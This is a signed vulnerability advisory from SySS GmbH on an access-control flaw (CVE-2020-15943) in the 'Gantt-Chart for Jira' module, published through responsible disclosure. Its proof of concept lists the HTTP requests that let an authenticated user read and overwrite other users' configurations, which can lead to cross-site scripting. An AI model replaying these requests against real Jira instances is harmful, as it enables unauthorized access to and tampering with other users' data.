-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2020-029 Product: Jira module "Gantt-Chart for Jira" Manufacturer: Frank Polscheit - Solutions & IT-Consulting Affected Version(s): <=5.5.3 Tested Version(s): 5.5.3 Vulnerability Type: Improper Privilege Management (CWE-269) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2020-07-23 Solution Date: 2020-07-30 Public Disclosure: 2020-08-03 CVE Reference: CVE-2020-15943 Author of Advisory: Sebastian Auwaerter, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Gantt-Chart for Jira is a Jira module for displaying Gantt charts. The manufacturer describes the product as follows (see [1]): "High performance Gantt-Chart capable to display multi-projects with 10.000+ issues aggregating them as top-level big picture" Due to a missing privilege check, it is possible to read and write the module configuration of other users. This can also be used to deliver a cross-site scripting payload to other user dashboards, as described in security advisory SYSS-2020-030 (see [4]). To exploit this vulnerability, an attacker has to be authenticated. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The API endpoints for reading and updating the configuration of the Jira module require the user ID of a user via the variable userKey. Due to a missing privilege check, the user ID of another user can be sent instead of the own user ID to read and update a victim's module configuration. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): ### Getting a username of a victim: The username of a victim can be seen by browsing their profile. ### Getting the chart IDs of the victim The chart IDs of another user can be enumerated with the following request: - ---- GET /rest/gantt/1.0/user/properties?userKey=&_= HTTP/1.1 Host: [...] The response should look something like: HTTP/1.1 200 [...] {"keys":"[{\"key\":\"gantt-A\"},{\"key\":\"gantt-B\"}]"} - ---- The in the following requests should therefore be gantt-A or gantt-B. ### Getting the current configuration of the module for that user The configuration for those charts can be read with the following request: - ----- GET /rest/gantt/1.0/user/properties/?userKey=&_= HTTP/1.1 Host: The response should look something like: HTTP/1.1 200 [...] - ---- ### Pushing a new configuration for the victim The victim's configuration can then be updated by the attacker using the following request. The configuration, especially the filter section, can be prepared beforehand: PUT /jira/rest/gantt/1.0/user/properties/?userKey= HTTP/1.1 Host: [...] < (edited) configuration as JSON> The server will update the victim's configuration which can then be verified by downloading the victim's configuration again with the second GET request mentioned in this advisory. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Update to software version 5.5.4. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2020-07-21: Vulnerability discovered 2020-07-23: Vulnerability reported to manufacturer 2020-07-30: Patch released by manufacturer 2020-08-03: Public disclosure of vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product Website for Jira Module "Gantt-Chart" https://marketplace.atlassian.com/apps/28997/gantt-chart-for-jira?hosting=cloud&tab=overview [2] SySS Security Advisory SYSS-2020-029 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-029.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/news/responsible-disclosure-policy/ [4] SySS Security Advisory SYSS-2020-030 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-030.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Sebastian Auwaerter of SySS GmbH. E-Mail: sebastian.auwaerter@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Sebastian_Auwaerter.asc Key Fingerprint: F98C 3E12 6713 19D9 9E2F BE3E E9A3 0D48 E2F0 A8B6 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEE+Yw+EmcTGdmeL74+6aMNSOLwqLYFAl8oFdUACgkQ6aMNSOLw qLZ5Jw/+Iurn9cfzROTYpl7ICLcbnEzZRGEpk03lqg48d+xrkusMrfzc1DXXyD5i Txq+GdTZeuzaxMxtsZvO27zUuUpZWMD+8KB5o+EvdRGqNgj8GlMUFIs54gfXmpd+ mFe/gqQiUsGO2+LVZxokK++oH8pswreqphaDAKhIpze7uVsDi6hG1JGk5fbMFv/R IBJ0zoDs4VM1idYDliL9dyTFA0Urc9Hj5Bm3B3MvO/GLw2PW8cJQMjv7xnNOUx9P g0l9AoekBpG20HW5tiRq5kc1toTQL7nF5j2d6K8raqbM1vNjhFVF2s9HmT54k08K PQZIb4SMMOHElOhYJyFMm+eRksp5WtBrQ2xo9AHMNEWZvQMdAzPyrQlme48yO5rG EDQ2VpNeKbPp+n/onsLNmrFf5SI2DsrcA96uuTx5DBwPkKfjomXHXAnFNVMdHviC bSMI5sFYvwoY82QwOliNZm9Pl05CRRb+YBWeBUVQ8vwqXNfe/6KJVllZbjvwyKOZ yBPtB9fbkVYAUJw6d21a4rcmvAL92ZwaDr7XM/68dZO7gj2U49h0ns3B1+nNQ/E6 atCD/6ywGnnlTU+Qybui4KlEF/9rvSknkWdQQ93GU6t8j2475+uHlWR5Mnzr7059 rQVLPIqquMzNkwaFZSupcVm4o45fjj1sSH7F2ll/gYj+a0XDM94= =RY2o -----END PGP SIGNATURE-----